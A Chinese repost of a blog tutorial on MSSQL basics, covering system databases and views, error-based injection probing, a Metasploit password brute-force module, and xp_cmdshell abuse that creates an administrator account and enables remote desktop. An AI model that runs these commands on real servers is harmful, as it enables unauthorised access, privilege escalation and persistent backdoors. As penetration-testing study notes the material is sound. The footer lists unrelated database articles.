MSSQL数据库基础

这篇具有很好参考价值的文章主要介绍了MSSQL数据库基础。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

MSSQL中自带数据库信息

库名 功能
Master 系统控制数据库
Model 模板数据库,数据库时建立所有数据库的模板。
Tempdb 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
Msdb 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息
MSSQL 系统视图表(MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和 syscolumns)
视图表 功能
sysobjects 记录了数据库中所有的表,常用字段为id,name和xtype
syscolumns 记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databases SQL Server 中所有的数据库
sys.sql_logins SQL Server 中所有的登录名
information_schema.tables 当前用户数据库的表
information_schema.columns 当前用户数据库的列
sys.database_files 存储在数据库中数据库文件

MSSQL三个关键系统表
sysdatabases
MSSQL中对sysdatabases系统表 的说明:
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID,和一些相关信息。

dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库.

我们利用SQL语句, 就可以查询出所有的库名.:

  • Db_name()

     当前数据库 
    
  • sysdatabase

     视图中的 Sysdatabase存储了mssql的所有库名 
     Select * from master..sysdatabases 
     Select * from master.dbo.sysdatabases 
     bid表示库id 
    
  • Sysobject

     Select * from master..sysobjects where xtype=char(85) 
    
  • Syscolumns

     Select * from master..yscolumns where id=3 
    
  • 报错

     Select 1 where 1=convert(int,(select @@version)) 
    

测试xp_cmdshell存储过程的开关过程,并利用存储过程执行系统命令:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE(EXEC sp_configure ‘show advanced options’, 1;该命令用于修改权限,提升) 开启xp_cmdshell扩展
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE 关闭xp_cmdshell扩展

msf爆破mssql密码

Msfconsole -q 
Search mssql 
Use auxiliary/scanner/mssql/mssql_login 

存储过程利用文章来源地址https://www.toymoban.com/news/detail-516848.html

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE 开启xp_cmdshell扩展
exec xp_cmdshell ‘mkdir c:\zzz’ 在C盘中创建名为zzz目录
exec xp_cmdshell ‘net user zzz 123456 /add’ 创建zzz用户
exec xp_cmdshell ‘net localgroup administrators zzz /add’ zzz添加为管理员权限
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1 开启远程桌面
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f 设置远程桌面端口(默认开启3389)
netstat -an find “3389”

到了这里,关于MSSQL数据库基础的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • C#操作MSSQL数据库 -增删改查

    要在C#中连接到Microsoft SQL Server数据库(MSSQL),你可以使用.NET Framework提供的System.Data.SqlClient命名空间中的类。 以下是一个简单的示例代码,展示了如何在C#中使用MSSQL数据库链接: 在上述代码中,你需要替换 serverName 、 databaseName 、 userName 和 password 为你实际的数据库服务器

    2024年02月10日
    浏览(31)
  • python中的pymssql操作MSSQL数据库

    在Python中,pymssql是一个用于与Microsoft SQL Server数据库进行交互的第三方库。pymssql提供了连接到数据库、执行SQL查询、插入、更新和删除数据等功能。下面我将详细介绍如何使用pymssql进行MSSQL数据库操作。 安装pymssql库 首先,确保你的Python环境已经安装了pymssql库。你可以使用

    2024年02月09日
    浏览(50)
  • 利用python中pyodbc操作MSSQL数据库

    pyodbc是一个用于Python的开源库,用于连接和操作多种数据库管理系统(DBMS),其中包括Microsoft SQL Server、Oracle、MySQL、PostgreSQL等。它提供了一个简单和统一的接口,使开发人员可以使用Python编程语言来访问和操作数据库。 以下是pyodbc的一些主要特点和功能: 数据库连接:p

    2024年02月09日
    浏览(31)
  • 艰难的起步---微信小程序访问MSSQL数据库实例

    一直做单机版应用程序开发,这不客户都需要手机端的小程序嘛!眼看着客户要纷纷“掉粉”,急了!必须马上学起!起步的确有点难,好在掉了些头发(摸摸还好)突破了通路,高兴之余写下来,希望能够帮到大家(瞧瞧这大局观~~~哈哈)。 微信小程序的创建就不赘述了,

    2024年02月11日
    浏览(24)
  • 【SQL Server】数据库开发指南(二)MSSQL数据库开发对于库、表、数据类型、约束等相关操作

    本系列博文还在更新中,收录在专栏:#MS-SQL Server 专栏中。 本系列文章列表如下: 【SQL Server】 Linux 运维下对 SQL Server 进行安装、升级、回滚、卸载操作 【SQL Server】数据库开发指南(一)数据库设计的核心概念和基本步骤 【SQL Server】数据库开发指南(二)MSSQL数据库开发对

    2023年04月09日
    浏览(46)
  • 无需编程,基于微软mssql数据库零代码生成CRUD增删改查RESTful API接口

    通过之前一篇文章 无需编程,基于甲骨文oracle数据库零代码生成CRUD增删改查RESTful API接口 的介绍,引入了FreeMarker模版引擎,通过配置模版实现创建和修改物理表结构SQL语句,并且通过配置oracle数据库SQL模版,基于oracle数据库,零代码实现crud增删改查。本文采用同样的方式,

    2024年02月05日
    浏览(34)
  • MYSQL数据库学习笔记

    以分号结尾加回车为一个命令 show databases;//展示所有数据库 create database xxx;//创建新的数据库 create database if not exists xxx;//检查是否创建XXX数据库,没有则创建,有则不创建 create database default charset (字节大小);//创建指定字节大小的数据库 drop database xxx;//删除数据库 use xxx;//使用

    2024年02月16日
    浏览(37)
  • 【MySQL系列】数据库基础学习_简单认识数据库

    「前言」文章内容大致是数据库基础,以及数据库的基本知识。 「归属专栏」MySQL 「主页链接」个人主页 「笔者」枫叶先生(fy) 「枫叶先生有点文青病」「句子分享」 我见青山多妩媚,料青山、见我应如是。 ——辛弃疾《贺新郎》 MySQL实际上是一个网络服务(client/server模式

    2024年02月15日
    浏览(33)
  • MySQL数据库学习笔记(二)

    排序查询 :select 字段列表 from [表名]  order by  [字段名1] [asc升序/desc降序,默认值为升序],[字段名2] [排序方式];//字段名1为优先级排序,如果字段名1有相同的,再以字段名2排序 聚合函数 : count 统计数量(一般不选null的列) max 最大值 min 最小值 sum 总和 avg 平均值 Select

    2024年02月11日
    浏览(30)
  • MySQL数据库学习【基础篇】

    下方链接使用科学上网速度可能会更加快一点哦! 请点击查看数据库MySQL笔记大全 DDL: 数据定义语言,用来定义数据库对象(数据库、表、字段) DML: 数据操作语言,用来对数据库表中的数据进行增删改 DQL: 数据查询语言,用来查询数据库中表的记录 DCL: 数据控制语言,用来

    2024年02月11日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包